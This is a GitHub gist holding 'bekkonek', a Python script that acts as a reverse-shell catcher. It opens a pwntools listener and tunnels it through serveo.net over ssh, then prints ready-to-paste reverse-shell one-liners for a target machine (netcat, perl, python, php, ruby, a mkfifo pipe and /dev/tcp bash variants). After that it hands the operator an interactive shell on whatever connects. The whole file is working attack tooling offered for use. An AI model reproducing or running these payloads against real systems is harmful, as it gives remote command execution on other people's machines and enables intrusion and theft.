Skip to content

Instantly share code, notes, and snippets.

@ttycelery
Last active July 26, 2018 13:20
Show Gist options
  • Save ttycelery/e282966c99ce28002b235e905550af1b to your computer and use it in GitHub Desktop.
Save ttycelery/e282966c99ce28002b235e905550af1b to your computer and use it in GitHub Desktop.
bekkonek: simple reverse shell spawner
#!/usr/bin/python
from pwn import *
import random
import time
import thread
from socket import gethostbyname
try:
import readline
except:
pass
def bekkonek_main():
global listener
print("""\
_________________
< bekkonek@loncat >
----------------- Simple Reverse sHELL Spawner
\\ ^__^ https://github.com/p4kl0nc4t
\\ (oo)\\_______
(__)\\ )\\/\\
||----w |
|| ||
""")
log.info("Welcome to bekkonek! preparing things")
prog = log.progress("Preparing your listener")
# sshc = ssh(host='serveo.net', user='x', password='x')
# listener = sshc.listen_remote()
port = random.randint(1024, 65535)
listener = listen(port)
serveo_prog = log.progress("Forwarding listener on port %d to serveo" % port)
try:
serveo = process(["ssh", "-ttR", "0:localhost:%d" % port, "serveo.net"])
except:
log.failure("Can't run ssh :( is ssh exists?")
sys.exit(-1)
# Allocated port 43016 for remote forward to localhost:15076
remote_host = "serveo.net"
remote_port = re.findall(r"Allocated port (.*) for remote", serveo.recvuntil("forward to"), re.M|re.I)[0]
if remote_port == "":
log.failure("Something went wrong with serveo :(")
sys.exit(-1)
remote_port = int(remote_port)
serveo_prog.success("Forwarded port is %d" % remote_port)
prog.success("Done")
log.info("Your listener is online at %s (%s) port %d" % (remote_host, gethostbyname(remote_host), remote_port))
log.info("Use these commands to connect your target to your listener:")
log.indented("""\
nc -c /bin/sh xxipxx xxportxx
perl -e 'use Socket;$i="xxipxx";$p=xxportxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxipxx",xxportxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("xxipxx",xxportxx);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("xxipxx",xxportxx).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxipxx xxportxx >/tmp/f
/bin/bash -i > /dev/tcp/xxipxx/xxportxx 0<&1 2>&1
0<&196;exec 196<>/dev/tcp/xxipxx/xxportxx; sh <&196 >&196 2>&196\
""".replace("xxipxx", gethostbyname(remote_host)).replace("xxhostxx", remote_host).replace("xxportxx", str(remote_port)))
listener = listener.wait_for_connection()
log.info("@@@@@@@@@@ bekkonek-shell @@@@@@@@@@")
def update_s():
global listener
while 1:
try:
data = listener.recv()
sys.stdout.flush()
time.sleep(0.1)
sys.stdout.write(data)
except EOFError as e:
log.warning("Got EOF")
time.sleep(0.1)
thread.exit()
sys.exit()
break
thread.start_new_thread(update_s, ())
while True:
try:
inp = raw_input().rstrip()
listener.sendline(inp)
# sys.stdout.write(listener.recv())
except Exception as e:
log.failure(str(e))
listener.close()
thread.exit()
if __name__ == "__main__":
try:
bekkonek_main()
except KeyboardInterrupt:
sys.stdout.write("\r")
log.failure("Exiting . . .")
time.sleep(0.1)
thread.exit()
sys.exit()
except Exception as e:
log.failure(str(e))
time.sleep(0.1)
thread.exit()
sys.exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment